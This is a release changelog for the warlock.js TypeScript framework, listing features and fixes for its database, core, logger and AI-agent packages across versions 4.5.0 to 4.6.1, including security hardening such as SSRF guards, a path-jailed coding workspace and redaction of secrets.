Added --db=none / --no-db and a None option in the database prompt — scaffold with no database: the driver, its package, and src/config/database.ts are all skipped
Changed Starter models drop the baked-in globalColumnsSchema audit columns (createdBy / updatedBy / deletedBy / isActive) — global columns are left to the developer

4.6.1

July 1, 2026

A production-hardening patch across @warlock.js/core, @warlock.js/logger, and @warlock.js/cascade — a fatal boot error now fails loudly instead of exiting 0, native Postgres array columns (TEXT[] / JSONB[]) work with no configuration, and a nested transaction() joins the active transaction instead of opening an isolated one that can't see its writes.

@warlock.js/cascade Fixed 2

Fixed Native Postgres array columns (TEXT[] / JSONB[], from arrayText() / arrayJson()) are now auto-detected by introspecting the schema on connect and bound as raw arrays — no more "malformed array literal" on insert and no need to hand-list nativeArrayColumns (which stays as an optional per-connection override, now consulted per-table)
Fixed transaction() now flat-nests: a nested transaction() joins the active one (same session, sees its uncommitted writes) instead of opening a second, independent transaction — fixes phantom foreign-key violations when a service that opens its own transaction is called inside an outer one (e.g. a seeder creating a row, then a service inserting a child that references it). MongoDB joins too, replacing its "nested not supported" throw

@warlock.js/core Fixed 1

Fixed a fatal uncaughtException at production boot (e.g. a config file that throws) is no longer swallowed into a silent exit 0 — bootstrap now wires the crash handler to exit non-zero in production so warlock start surfaces the failure; the dev server still logs-and-continues for HMR

@warlock.js/logger Changed 1

Changed captureAnyUnhandledRejection() now exits the process non-zero after an uncaughtException (and prints the stack to console.error when no terminal channel is configured) so a fatal error at boot is never silently swallowed into a clean exit 0 — opt out with { exitOnUncaughtException: false } where the process recovers on its own (e.g. a dev server using HMR). unhandledRejection is unchanged (logged at error, never exits).

4.6.0

July 1, 2026

The AI framework closes every remaining capability gap. Output modalities land — ai.image(), ai.speech(), and ai.transcribe(), plus the new @warlock.js/ai-live package for ai.realtime() duplex voice + ai.video(). RAG gains first-party vector stores and document loaders (ai.rag.pgVectorStore on Postgres/pgvector, ai.rag.loadWeb / loadPdf / loadHtml / loadText). Durable mid-run crash-resume comes to agents and planners (agent.resume() / planner.resume() via an opt-in durable store). And provider breadth doubles with four new OpenAI-compatible adapters — @warlock.js/ai-mistral, ai-groq, ai-deepseek, and ai-xai.

@warlock.js/ai Added 9

Added ai.image(params) — image generation, the first verb of the output-modality track (Theme I). Wraps an ImageModelContract in the uniform never-throws { data, error, usage, report } envelope, with cost-truth (per-token for gpt-image, per-image for DALL·E / Imagen) folded into the same Usage.cost rollup and a type: "image" report routed to observers. Ships on the OpenAI + Google adapters.
Added SDKAdapterContract.image?(config) — the image-model capability seam, mirroring embedder?(). Adds ImageModelContract, GeneratedImage (discriminated base64 | url), ImageModelPricing, and ImageGenerationOptions.
Added MockSDK().image(...) + MockImageModel — deterministic image doubles (scriptable responses, recorded calls, pricing) for tests.
Added ai.speech(params) + ai.transcribe(params) — text-to-speech and speech-to-text, the audio verbs of the modality track. Same uniform never-throws envelope + cost-truth (per-character / per-minute / per-token). New SpeechModelContract / TranscriptionModelContract on SDKAdapterContract.speech?() / transcribe?(), plus MockSpeechModel / MockTranscriptionModel.
Added ai.audioFromFile(path) / ai.audioFromBuffer(bytes, mediaType) / ai.audioMediaTypeForFilename(name) — non-AI utilities that package audio (WhatsApp .ogg/.opus, iOS .m4a, …) into the AudioInput shape ai.transcribe consumes.
Added ai.rag.pgVectorStore({ client }) — a Postgres + pgvector vector store satisfying VectorStoreContract (upsert / query / removeNamespace), with an ensureSchema() DDL helper and a lazy pg optional peer.
Added ai.rag.loadText / loadHtml / loadWeb / loadPdf — document loaders producing RagDocuments for .index(). loadWeb is SSRF-safe (routes through guardedFetch / OutboundPolicy); loadPdf uses a lazy pdf-parse optional peer.
Added Durable mid-run crash-resume — opt-in durable: { store, deleteOnComplete? } on ai.agent / ai.planner with a stable runId + agent.resume(runId) / planner.resume(runId). Per-trip (agent) / per-node (planner) checkpoints reuse ai.snapshot.{memory,pg,redis}; drift detection via AgentDriftError / PlannerDriftError (bypass with { force: true }); completed work never re-runs its tools and usage is never double-counted.
Added **ai.rag.* namespace** now also carries chunk, cacheVectorStore, pgVectorStore, loadText/loadHtml/loadWeb/loadPdf, bm25Rank, reciprocalRankFusion, hybridRank, multiQuery (previously standalone-only exports), for ai.*-namespace consistency.

@warlock.js/ai-live Added 5

Added First release — the live & generative rich-media add-on for @warlock.js/ai, kept in its own package so core text/image/speech stay dependency-light. A side-effect import (import "@warlock.js/ai-live") mounts ai.video + ai.realtime onto the shared Ai facade.
Added ai.video(params) — text-to-video (Sora / Veo / Kling-class); the provider's async submit→poll job hidden behind the uniform never-throws { data, error, usage, report } envelope, with per-second cost-truth folded into Usage.cost and a type: "video" report routed to observers.
Added ai.realtime(options) — a stateful duplex voice session over a pluggable RealtimeTransport: sendAudio / sendText / events() out, close() → RealtimeReport for the cost/observability surfaces.
Added Contracts — VideoModelContract, GeneratedVideo, VideoModelPricing, VideoOptions; RealtimeSession, RealtimeTransport, RealtimeConnection, RealtimeEvent, RealtimeReport, RealtimeOptions.
Added Mocks — MockVideoModel + MockRealtimeTransport for deterministic, HTTP- and socket-free tests (scripted responses / event streams, recorded calls).

@warlock.js/ai-openai Added 4 Fixed 1

Added openai.image({ name }) — image generation for the gpt-image-* (token-metered) and dall-e-* (per-image) families, for use with ai.image(). A non-image model id is rejected at construction.
Added PDF + audio input. pdf and audio content parts now map to OpenAI file (base64 file_data) and input_audio (wav / mp3) parts — opt in with model({ pdf: true }) / { audio: true }. A remote-URL pdf/audio source raises a typed InvalidRequestError up front.
Added openai.speech({ name }) — text-to-speech for the tts-1 / tts-1-hd / gpt-4o-mini-tts families (audio.speech.create), for use with ai.speech().
Added openai.transcribe({ name }) — speech-to-text for the whisper-1 / gpt-4o-transcribe families (audio.transcriptions.create), for use with ai.transcribe(). whisper-1 defaults to verbose_json (duration + segments); a non-TTS/STT model id is rejected at construction.
Fixed Non-text content parts are no longer coerced to image_url. The message mapper now branches per modality (image → image_url, pdf → file, audio → input_audio) instead of forcing every attachment through the image path.

@warlock.js/ai-mistral Added 3

Added First release. MistralSDK — a thin wrapper over @warlock.js/ai-openai that points one internal OpenAISDK at Mistral's OpenAI-compatible endpoint (https://api.mistral.ai/v1) with provider: "mistral", delegating transport, streaming, tool calls, structured output, error wrapping, and token accounting to the battle-tested adapter. Exposes .model(), .embedder() (mistral-embed), and .count().
Added Mistral-aware capability inference — vision is auto-set for the pixtral family and recent multimodal generations (mistral-large, mistral-medium, ministral-3); reasoning for the magistral family and the hybrid mistral-small generation. An explicit vision / reasoning on .model() always wins. Exported as inferVisionCapability / inferReasoningCapability, with the -latest aliases grouped under MISTRAL_MODELS.
Added Default pricing registry (MISTRAL_DEFAULT_PRICING, USD per 1,000,000 tokens) merged under any caller-supplied pricing so cost truth works out of the box; per-model > SDK-level > default > undefined. No image() — Mistral has no OpenAI-compatible image endpoint.

@warlock.js/ai-google Added 1 Fixed 1

Added google.image({ name }) — Imagen (imagen-*) image generation for use with ai.image(). Per-image-metered; when every candidate is safety-filtered the run surfaces a typed ContentFilterError. A non-Imagen model id is rejected at construction.
Fixed PDF + audio input are now explicitly mapped and tested. The content-part mapper documents and proves that pdf / audio parts route to Gemini inlineData (the pdf / audio capabilities the adapter advertises are backed by a real mapper, not an accident of the image path), and the remote-URL rejection now names the actual modality instead of always saying "images".

@warlock.js/core Added 11 Changed 1 Fixed 4

Added release-hygiene tests: version↔changelog invariant + generator-stub import check
Added router.routeCount() exposes the number of registered routes as a boot/readiness signal
Added health.addRoutesRegisteredCheck(getRouteCount) registers a readiness check that reports not-ready when a booted HTTP app has zero routes
Added seeders now receive a { track } context — track(model), track(models[]), and track(table, id) register created records (each call returns its argument so it can be chained inline); recordsCreated is auto-derived from the track count
Added seed_records table (created via the new SeedRecordsTableMigration) records every tracked seed reference within the same transaction the seed runs in; only the last run's refs are kept per seeder
Added warlock seed --drop [name] undoes a seed: deletes its tracked records in reverse run/insertion order inside a transaction, then resets the matching seeds-log rows so once: true seeds re-run; scope to one seeder with --drop=<name>
Added Seeder.dependsOn is now resolved — seeders are topologically sorted so dependencies run before dependents, layered over the numeric order tie-break; throws UnknownSeederDependencyError for a missing dependency and SeederDependencyCycleError for a cycle
Added seeders receive an injectable clock and a meaningful batch size — run({ track, now, batchSize }); now() (default () => new Date()) drives both seed data and the seeds-log timestamps so historical/back-fill runs are deterministic, and batchSize surfaces the seeder's own batchSize for Model.createMany(rows, { batchSize })
Added repository-level aggregation — aggregate(), sum(), avg(), min(), max(), and groupBy() on RepositoryManager, each reusing filterBy (and its operator-injection guard), where, and scopes before the aggregate, exactly like count()
Added warlock doctor — a read-only diagnostics command that runs routes / config / connectors / optional-peers / health / release-hygiene checks and prints a pass/warn/fail report (exits non-zero on any failure, never opens a DB/cache/socket connection)
Added warlock routes — a read-only command that lists the registered HTTP routes as a verb-colored table (method / path / name / action / middleware-count / source); filter with --method / --path / --name, or emit the normalized rows as JSON with --json. Boots app code to register routes but starts no connectors
Changed Seeder.run now receives a SeedContext (run(ctx)) — backward compatible, an existing zero-arg run() keeps working unchanged
Fixed route-module load/registration failures are no longer swallowed: a route file that throws on import or registration now surfaces loudly instead of silently 404'ing the whole surface
Fixed ModuleLoader.loadModule rethrows after logging (wrapped in a new ModuleLoadError carrying the failing file + cause), so a broken module aborts boot and is caught loudly by the HMR batch-reload handler in dev
Fixed ModuleLoader.loadAll aggregates per-file failures and throws an AggregateError at the end, so one broken module no longer hides the others
Fixed router.withSourceFile rethrows the callback error after logging instead of consuming it with a bare console.log (the try/finally source-file stack cleanup is preserved)

@warlock.js/cascade Added 10 Changed 1 Fixed 4

Added Fast bulk Model.createMany(data, options?: { batchSize?; bulk? }) — both paths chunk by batchSize (default 500); bulk: true routes each chunk to the driver's native multi-row insertMany for 10–100× throughput (skips per-row hooks/events; default path preserves them)
Added IdGeneratorContract.generateNextIds({ table, count }) — reserve a contiguous block of auto-increment ids in a SINGLE atomic op (MongoDB). Model.createMany (default + bulk) now reserves one id block per chunk instead of one counter round-trip per row; engages only for fixed-increment, auto-generated, id-less rows (random-increment or caller-supplied-id rows fall back to per-row generation)
Added QueryBuilder.groupByDate(column, unit, aggregates?) — portable date-bucketed GROUP BY (day/week/month/year) across Postgres date_trunc and MongoDB $dateTrunc
Added $agg.sum(expr) now also accepts a typed column expression ($expr.mul/$expr.add/$expr.sub/$expr.div/$expr.col/$expr.lit) so you can sum price * quantity; bare-string payload is unchanged. Added $agg.sumRaw(expression) raw escape hatch (Postgres SUM(<raw>); throws on MongoDB)
Added Column-expression DSL grouped under a single $expr object (mirroring $agg) — $expr.col / $expr.lit / $expr.mul / $expr.add / $expr.sub / $expr.div / $expr.raw — plus isColumnExpression / toColumnExpression and the ColumnExpression / ColumnExpressionInput types
Added MongoDB id counter (MasterMind) now has a lazily-ensured unique index on { collection: 1 } plus a bounded retry on duplicate-key (E11000), closing the cold-start race where two concurrent first inserts into a new collection could reserve overlapping ids/blocks
Added $agg.countDistinct(field) — a cross-driver grouped distinct-count aggregate (Postgres COUNT(DISTINCT col); MongoDB $addToSet in $group finalized with $size in the renaming $project)
Added Model.raw<T>(sql, params) — typed, transaction-aware raw query that auto-joins the active transaction() scope and returns RawQueryResult<T>
Added DataSource.raw<T>(sql, params) — thin transaction-aware passthrough to driver.query
Added Postgres connection option nativeArrayColumns — opt out listed columns (JSONB[]/TEXT[]/…) from JSON-text encoding so genuine native-array columns keep their {...} literal form
Changed DriverContract.query<T>() is now typed Promise<RawQueryResult<T>> (new rows + rowCount result type) instead of Promise<any>
Fixed Postgres json/jsonb columns no longer corrupt: object-arrays, string-arrays, mixed arrays, empty [] (previously stored as {}), and plain objects are now JSON-encoded before binding instead of falling through to a Postgres array literal; the same encoding is applied on the UPDATE $set path. The pgvector all-number array form is preserved.
Fixed Insert no longer overwrites a caller-supplied createdAt — a backdated value (imports/migrations) is now honored, mirroring the upsert guard, while updatedAt is always stamped at persist time
Fixed Insert validation now whitelists the system columns (id/_id/timestamps/deletedAt) like the update path, so a backdated createdAt survives strict strip/fail mode instead of being dropped before reaching the writer
Fixed Corrected the MongoDB id-generator docs that falsely claimed the counter write "participates in active transactions" — it is a standalone, immediately-durable write (no transaction session is attached), so a rolled-back insert leaves the consumed id as a gap, exactly like SQL SERIAL

@warlock.js/ai-deepseek Added 5

Added First release. DeepSeek adapter for @warlock.js/ai — a thin wrapper over @warlock.js/ai-openai's OpenAISDK pinned to https://api.deepseek.com (provider: "deepseek"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged.
Added DeepSeekSDK — .model() / .embedder() / .image() / .count() delegated to the wrapped client. baseURL and provider are optional (default to DeepSeek's endpoint / label); every other openai ClientOptions value is forwarded verbatim.
Added DeepSeek-specific capability inference (inferReasoningCapability / inferVisionCapability) — reasoning is auto-true for deepseek-reasoner and the *-pro tier, auto-false for deepseek-chat / *-flash; vision is false for every id (no documented vision surface). An explicit reasoning / vision per model always wins.
Added Built-in DeepSeek pricing defaults (USD per 1M tokens) for deepseek-chat, deepseek-reasoner, deepseek-v4-flash, deepseek-v4-pro, so usage.cost is computed out of the box; overridable per model or per SDK.
Added DEEPSEEK_CHAT_MODELS — informational list of the documented chat model ids.

@warlock.js/ai-xai Added 5

Added First release. xAI Grok adapter for @warlock.js/ai — a thin wrapper over @warlock.js/ai-openai's OpenAISDK pinned to https://api.x.ai/v1 (provider: "xai"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged.
Added XaiSDK — .model() / .embedder() / .image() / .count() delegated to the wrapped client. baseURL and provider are optional (default to xAI's endpoint / label); every other openai ClientOptions value is forwarded verbatim.
Added xAI-specific capability inference (inferVisionCapability / inferReasoningCapability, exported alongside XAI_VISION_MODEL_PREFIXES / XAI_REASONING_MODEL_PREFIXES) — Grok ids don't match OpenAI's gpt-* / o* prefixes, so vision is auto-true for grok-4 / grok-2-vision and reasoning for grok-4 / grok-3-mini. An explicit vision / reasoning per model always wins.
Added XAI_CHAT_MODELS — convenience list of current public Grok chat ids (grok-4, grok-3, grok-3-mini, grok-2-vision, grok-2).
Added Optional per-model pricing registry — resolution at model() time is per-model pricing > SDK registry > undefined.

@warlock.js/ai-groq Added 3

Added First release. GroqSDK — a thin wrapper over @warlock.js/ai-openai that points one internal OpenAISDK at Groq's OpenAI-compatible endpoint (https://api.groq.com/openai/v1) with provider: "groq", delegating transport, streaming, structured output, error wrapping, and token accounting to the battle-tested adapter. Serves Groq-hosted open models (llama-3.3-70b-versatile, llama-3.1-8b-instant, openai/gpt-oss-*, deepseek-r1-distill-llama-70b) on LPU hardware via .model() and .count(). GROQ_BASE_URL / GROQ_PROVIDER / GROQ_KNOWN_MODELS exported.
Added Groq-aware capability inference — because Groq ids are upstream open-weight names, not OpenAI's, the wrapper carries its own lists: vision is auto-set for gpt-oss / llama-4 / llama-3.2-*-vision; reasoning for gpt-oss / deepseek-r1 / qwq / qwen3. An explicit vision / reasoning / structuredOutput always wins. Exported as inferVisionCapability / inferReasoningCapability.
Added Default pricing registry (USD per 1,000,000 tokens) for the known Groq models as the final fallback; resolution per-model > SDK-level pricing[name] > built-in default > undefined. No embeddings endpoint on Groq (.embedder() is delegated for symmetry but calls fail upstream) and no image().

@warlock.js/scheduler Fixed 1

Fixed Warn in development when jobs are registered but start() is never called — a one-shot deferred check logs N job(s) registered but scheduler.start() was never called, is suppressed once start() runs or in production (NODE_ENV=production), and is unref'd so it never holds the process open.

4.5.0

July 1, 2026

The biggest AI release yet — the agent-platform, prompt-unification, and team-identity milestones plus a security-hardening pass, consolidated into one release. @warlock.js/ai grows from a primitive ladder into a full agent platform: ai.rag(), ai.team(), ai.skills(), a unified ai.prompts registry (ai.prompt is now a facade over it), ai.dataset() / ai.vcr(), a planner that runs DAGs and can pause for approval, a generic observe seam, the former ai-human + ai-guard satellites folded into core, and a security pass (SSRF-safe outbound I/O, redaction, attachment policy, SSE serving, streaming structured output). @warlock.js/ai-panoptic becomes batteries-included with a redesigned, auth-gated local dashboard (group-by-type, cost heatmap, timeline, search / filter, restart-persistent store) and first-class team-type traces. The first releases of @warlock.js/ai-tools (ready-made tools + MCP) and @warlock.js/ai-workspace (a policy-jailed coding workspace), plus a broad @warlock.js/core hardening pass.

@warlock.js/ai Added 18 Changed 3 Fixed 3 Security 4

Added ai.rag(config) — retrieval-augmented generation in core: a chunk → embed → retrieve → cite pipeline that reuses your existing embedder and cache, with zero new dependencies. Includes hybrid retrieval (dense + BM25 reciprocal-rank fusion), keyword / LLM rerankers, and multi-query expansion.
Added ai.team(config) — manager-led multi-agent teams: thin sugar over ai.supervisor for the review-then-fix and test-then-fix shapes.
Added ai.skills(config) — runtime agent skills with progressive disclosure: a cheap always-injected catalog plus an on-demand loadSkill tool. Adds a skills option on ai.agent.
Added ai.streamObject(...) — structured-output streaming: partial-object snapshots as tokens arrive, with a strict final parse against the response schema.
Added ai.serve(executable, options) — serve any agent / workflow / supervisor as an SSE HTTP endpoint.
Added Multimodal attachments — ContentPart gains pdf and audio variants alongside text / image, resolved to provider-ready parts (PDF wired on the Anthropic and Bedrock adapters).
Added Planner DAG execution, re-planning, and plan-only approval — run independent steps concurrently, revise the plan when a step fails, or return a plan for approval before it executes.
Added Generic Observer seam — route any flow's run report to pluggable observers (e.g. @warlock.js/ai-panoptic) without coupling core to a backend.
Added ai.prompts + ai.prompt — a process-wide registry of named, versioned systemPrompt(...) builders (resolved by name@version / name@tag) with define / tag / diff / export / import and a unified validate (deterministic missing-placeholder check plus an optional Nova-safe LLM-judge); ai.prompt is a thin facade over it.
Added SystemPromptContract identity + provenance — .meta({ name, version, description, required }) (a name auto-registers in ai.prompts), .merge(...blocks) / .merge(contract) / .merge(name, { fromVersion }), and deterministic meta.composedFrom labels.
Added ai.dataset(options) — filterable, shardable evaluation case sets that feed agent.eval, with baseline / regression detection and CI reporters.
Added ai.vcr(model, options) — record / replay any model against an on-disk cassette for deterministic, offline tests, with recordRequest modes and redactRequest / redactResponse / redactError hooks.
Added ai.agent.judge(config) — judge-safe agent preset (also ai.agent({ judge: true })): lenient JSON parsing, bounded repair re-asks, and never-throw verdicts on Nova-class models.
Added Human-in-the-loop approval now ships in core (ai.human.*, formerly @warlock.js/ai-human) — a tool-approval gate plus durable interrupt / resume.
Added Content guardrails now ship in core (ai.guardrail.*, formerly @warlock.js/ai-guard) — PII / topic / injection / moderation detectors.
Added Orchestrator sessionLock — per-session turn serialization (default in-process mutex keyed by sessionId, pluggable distributed lock) so concurrent same-session turns can't lose a checkpoint update.
Added Sub-agent trace nesting — a supervisor / team / orchestrator callback that calls agent.execute() directly now nests callback → agent → tool with rolled-up usage / cost.
Added AgentReport.systemPrompt — the resolved system prompt sent to the model is now recorded on the agent report.
Changed ai.team runs report type: "team" — a first-class ReportType (was "supervisor") so observers distinguish team runs on the wire.
Changed Deterministic parallel workflow state merge — parallel children merge into the parent in declaration order (last-declared wins on a conflicting key) instead of completion order; an optional per-step mergeState reducer overrides it.
Changed Safer batch / RAG defaults — ai.batch warns once on a large unbounded run (pass an explicit concurrency or "unbounded"); ai.rag accepts limits (maxDocuments / maxChunks / maxBytes) that fail before any embedding spend.
Fixed Cancellation propagates through composite tools — a cancelled outer agent now aborts a nested agent / workflow / supervisor invoked via .asTool() (the run signal threads into the nested execute).
Fixed Observer / event-handler errors are surfaced, not swallowed — a throwing observer or on handler stays isolated (never crashes the run) but is now warned once / routed to a hook instead of disappearing silently.
Fixed budget({ maxCostUSD }) fail-open closed — a cost cap with no matching model pricing now warns once (naming the model) instead of silently never tripping.
Security Shared OutboundPolicy + redact() — one SSRF-safe outbound-fetch guard (scheme + host allowlist, post-DNS private-IP deny, max-bytes, timeout, injectable fetch) and one redaction utility, consumed across attachments, URL skills, VCR, and the error path.
Security Attachment trust boundary (AttachmentPolicy) — remote-text attachment fetch is default-deny (opt in with a policy), local reads honor an allowedRoots sandbox, and bare-string local paths warn (staged deprecation).
Security URL skill sources hardened — the manifest fetch runs through OutboundPolicy and every record is runtime-validated before it enters model context; adds cache-TTL controls.
Security Guardrail coverage documented — input detectors inspect text only; non-text attachment content needs an attachment-level policy.

@warlock.js/ai-panoptic Added 9 Changed 1 Fixed 1 Security 2

Added Zero-setup local dashboard — dashboard(store, options) serves a loopback-only mini-Langfuse (default 127.0.0.1:4319) with no Docker and no account: light / dark / system theme, a two-pane drawer (nested call tree / detail), a metadata panel, colour-coded Title-case type labels, arrow-coded token rollups (↓input · ↑output · total), per-node rollup cost, and the Warlock logo.
Added Dashboard search / filter / grouping — client-side free-text search, status / type / session / prompt filter chips, an errors-only toggle, and group-by Session / Prompt / Type with a per-type aggregate-stats panel (count, failure rate, p50 / p95 latency, tokens, cost).
Added Cost heatmap, timeline view, and deep-links — each node carries a cost-tinted accent; the drawer toggles between the call tree and a Gantt timeline (critical path highlighted); the open trace + span are reflected in the URL hash for shareable views.
Added Prompt-version linkage — agent spans stamp agent.promptName / agent.promptVersion; the dashboard filters and groups by the resolved name@version key.
Added Cache-backed persistent trace store — createCacheTraceStore(cache, options) persists traces through any @warlock.js/cache driver, serves reads from an in-memory mirror, and re-hydrates on ready() so traces survive a restart; ai.config({ panoptic: { cache } }) wires it.
Added Declarative ai.config({ panoptic }) — configure panoptic once; it registers on core's observer registry and starts the dashboard. Per-flow observe + observeAll opt flows into observation.
Added ContentCaptureOptions.fullHistory — capture the agent's complete message history on the span; agent content is emitted as a [system, user] chat array; Langfuse gets trace-level input / output.
Added onError hook — handle isolated exporter failures on panoptic() / createCollector().
Added Pure trace-list helpers exported from the package root (filterTraces / groupBySession / groupByPrompt / groupByType / aggregateByType / rollupCost / …) so your own views mirror the dashboard's rules.
Changed Title-case status & type labels across rows, drawer, chips, and group headers (underlying filter keys stay lowercase); team is a first-class dashboard type; type chips show only present types; drawer metadata keys are humanized; the group-by toggles became a single Group dropdown.
Fixed Isolated exporter failures no longer fail silently — a failing exporter still never crashes the run, but now warns once (or calls onError).
Security Dashboard hardening — bearer-token auth (authToken, required when binding off-loopback), a Host-header allowlist (DNS-rebinding guard), and security response headers (nosniff / X-Frame-Options: DENY / locked-down CSP) on every response.
Security Error redaction — captured error message / stack are scrubbed of secrets (Bearer tokens, API keys) and a retained cause is deep-redacted (auth / cookie headers stripped) before a trace is stored or exported.

@warlock.js/ai-tools Added 5

Added **Five ready-made agent tools, attached to the shared ai object under ai.tools.* via a declare module "@warlock.js/ai" augmentation, so a bare import "@warlock.js/ai-tools" makes them available and statically typed. Each returns a ToolContract that drops straight into ai.agent({ tools: [...] }): - ai.tools.webSearch(options) (web_search) — web search via a chosen provider (tavily / brave / serpapi) over the global fetch; the API key falls back to TAVILY_API_KEY / BRAVE_API_KEY / SERPAPI_API_KEY; maxResults is clamped per call. - ai.tools.fetchUrl(options?) (fetch_url) — fetch a URL and return its content as readability-extracted text (default), raw html, or markdown, with a host allowlist (SSRF guardrail), a byte cap (truncated flag), and a request timeout. - ai.tools.http(options?) (http_request) — a guarded HTTP/REST client: method + host allowlists enforced before the network call, optional baseUrl join, static-header merge, byte cap, and timeout; JSON-parses a JSON response body. - ai.tools.calculator(options?)** (calculator) — a SAFE arithmetic evaluator (+ - * / % ^, unary signs, parentheses, decimal/scientific literals) implemented with a shunting-yard pass — it never calls eval/Function. - ai.tools.dateTime(options?) (date_time) — clock/calendar operations: now / add / diff / format over ISO-8601 instants, with millisecond-based units and IANA time-zone rendering. diff accepts from as an alias for the start instant (iso wins when both are set).
Added MCP client — ai.mcp(server, options?) (Direction A). Connects to an external MCP server over a stdio (node:child_process + node:readline, no dependency) or Streamable HTTP transport, runs the initialize handshake + tools/list, and adapts each remote tool into a native ToolContract (its JSON Schema wrapped as a Standard Schema, tools/call as execute). Supports namePrefix, filter, and a per-call timeoutMs; an isError result surfaces as { error } data.
Added MCP server — ai.mcp.serve(source, options) (Direction B). Exposes a built agent / supervisor / orchestrator (or a raw ToolContract[]) AS an MCP server: tools/list emits each tool's inputSchema via extractJsonSchema at the configured schemaTarget (default draft-2020-12), and tools/call routes to contract.invoke(), mapping data to a text content block and error to an isError: true result. The stdio transport is auto-pumped over process.stdin / process.stdout; the pure protocol core is also exported as createServeHandler for a host's own HTTP wiring.
Added Typed error classes — WebToolError, HttpPolicyError, CalculatorError, DateTimeError, and McpTransportError, each extending the @warlock.js/ai AIError base with a type discriminator. Every tool follows the errors-as-data contract: failures are thrown inside execute, wrapped by tool(), and reach the model as { error } so the agent self-corrects instead of crashing the run.
Added Optional peers, lazily imported. Heavy dependencies — a search provider (@tavily/core), the readability scraper (@mozilla/readability + jsdom), the MCP SDK (@modelcontextprotocol/sdk), and the JSON-Schema validator (ajv) — are optional peers, import()ed only when the relevant path runs, surfacing a curated npm install string when absent rather than crashing at import time. The only required runtime peer is @warlock.js/ai; everything else is Node built-ins + the global fetch (Node 18+).

@warlock.js/ai-workspace Added 16

Added ai.workspace(policy) — the workspace verb, registered on the shared ai object via a declare module "@warlock.js/ai" augmentation + a runtime side-effect on import (no edit to @warlock.js/ai's own source). Exported as the workspace factory; WorkspaceCapableAi is the typed view consumers cast ai through.
Added Policy jail — every path is realpath-resolved and must sit under cwd (or an allowPaths root); denyPaths globs are blocked even inside cwd; the shell allow/deny list gates each command's leading executable basename (deny wins, fail-closed); per-command timeout + output byte cap; and process.env is never inherited wholesale (opt-in shell.inheritEnv, plus explicit shell.env).
Added Seven agent-facing tools under ws.tools.*, each a ToolContract built on the core tool() factory: read_file, edit_file, write_file, run_shell, run_tests, grep, glob. Each factory takes an optional { name } (and run_tests a { command }) override.
Added tools.all() — every tool in canonical order — and tools.pick(...names) — a least-privilege subset (e.g. pick("readFile", "grep", "glob") for a reviewer).
Added Direct programmatic methods sharing the same policy seam: readFile / writeFile / editFile / exec / grep / glob / exists / mkdir / remove.
Added readonly() — a projection that vends only the read/grep/glob tools and rejects every mutating direct method with a WorkspacePolicyError.
Added scope(subdir) — a sub-jailed workspace rooted at subdir (narrowed cwd, same sub-policies and backend selection).
Added Read-before-edit guard — read_file / readFile return a SHA-256 content hash (via @warlock.js/fs hashString); edit_file requires an exact, unique oldString (or replaceAll) and rejects a mismatched expectHash as stale.
Added Backends — createLocalBackend (default "local"; @warlock.js/fs for IO + node:child_process for the shell) and createMockBackend (in-memory Map + scripted exec, for hermetic disk-free tests), behind the WorkspaceBackend contract.
Added Policy engine seam exports: resolveInJail, isCommandAllowed, buildEnv, and the ResolvedPath type.
Added Ops layer export createOps — the single policy-enforced operation layer both the tools and the direct methods funnel through.
Added Typed errors WorkspacePolicyError (type: "path-escape" | "denied-command") and WorkspaceEditError (type: "not-found" | "not-unique" | "stale-hash"), both extending the @warlock.js/ai AIError base (code TOOL_EXEC_FAILED) so failures surface to the agent as tool-error data, never thrown run-killers.
Added Public type surface re-exported from the barrel: Workspace, WorkspaceTools, WorkspacePolicy, WorkspaceShellPolicy, WorkspaceReadPolicy, WorkspaceBackendType, WorkspaceToolName, WorkspaceOps, WorkspaceBackend (+ WorkspaceBackendExecOptions / WorkspaceBackendExecResult), and the per-tool IO shapes (ReadFileInput/Result, EditFileInput/Result, WriteFileInput/Result, RunShellInput/Result, RunTestsInput, GrepInput/Match/Result, GlobInput/Result).
Added scripts/generate-llms.mjs and the generated llms.txt / llms-full.txt projections of skills/.
Added skills/use-a-workspace/SKILL.md — building a jailed workspace and operating it (policy, the seven tools, the direct methods, readonly / scope).
Added skills/build-loop-agent/SKILL.md — wiring ws.tools.all() into a coding agent that reads → edits → runs tests until green.

@warlock.js/core Changed 4 Fixed 24 Removed 1

Changed dev-server update notice now fires immediately on warlock dev — the check is spawned in parallel with server startup instead of awaiting it, so the notice surfaces as soon as npm responds
Changed raised the update check's npm registry timeout from 2.5s to 30s, so a slow connection no longer drops the notice
Changed repository lifecycle hooks (onCreating / onCreate / onUpdating / onSaving / onDeleting / …) now run on create / update / delete — they were defined but never invoked
Changed repository.list() / all() now honor the sortBy, sortDirection, and purgeCache options — previously accepted but silently ignored
Fixed response.sendFile({ filename }) and response.download() no longer 500 on non-ASCII file names — the Content-Disposition header is now RFC 6266-encoded (a sanitized ASCII filename fallback plus an RFC 5987 filename*=UTF-8''…), so an Arabic / emoji / UTF-8 download name streams correctly instead of throwing Node's ERR_INVALID_CHAR
Fixed local storage paths are contained to their disk root — ../ traversal segments and absolute paths can no longer escape the configured directory
Fixed storage.putFromUrl adds SSRF guards — private / loopback / link-local hosts are rejected and the fetched body is size-capped
Fixed S3 / R2 / DigitalOcean Spaces url() no longer produces a malformed double-host URL when urlPrefix is set
Fixed cloud deleteDirectory paginates via the list continuation cursor instead of re-listing the first page
Fixed local-storage metadata cache is invalidated on write / delete — it was serving a stale size / modified-time
Fixed the cloud driver no longer reports a misleading "SDK not installed" error when the AWS SDK is in fact present (driver load race)
Fixed repository countCached / countActiveCached now cache and return correctly — a null cache miss was being returned as the count
Fixed repository firstCached / lastCached no longer fetch and cache the entire table to return a single row
Fixed repository boolean filters no longer coerce false / 0 to true
Fixed repository cache keys are now order-independent (stable key serialization)
Fixed router groups restore prefix / name / middleware state via try/finally even when the group callback throws
Fixed router.any() / all routes now match every HTTP verb under the dev server — they previously matched only GET and POST, diverging from production
Fixed the HTTP concurrency limiter releases its slot on every response path (noContent, redirect, file, buffer) — a throwing or non-send handler no longer leaks a permit and permanently 429s the route
Fixed the cached-response middleware replays a hit through response.replay() instead of re-sending an already-sent reply, preserving status and content-type
Fixed onSent cache writes in the idempotency and cache middleware are error-handled — a cache-backend failure no longer surfaces as an unhandled rejection
Fixed X-Forwarded-For is parsed to its first hop, so IP-filter / rate-limit / idempotency scoping cannot be spoofed with extra header hops
Fixed the maintenance middleware allowlist matches request paths that carry a query string
Fixed use-cases run their after middleware and broadcast for a void handler, and a failed history write no longer fails an otherwise-successful call
Fixed the use-case retry counter reports the correct count on total failure
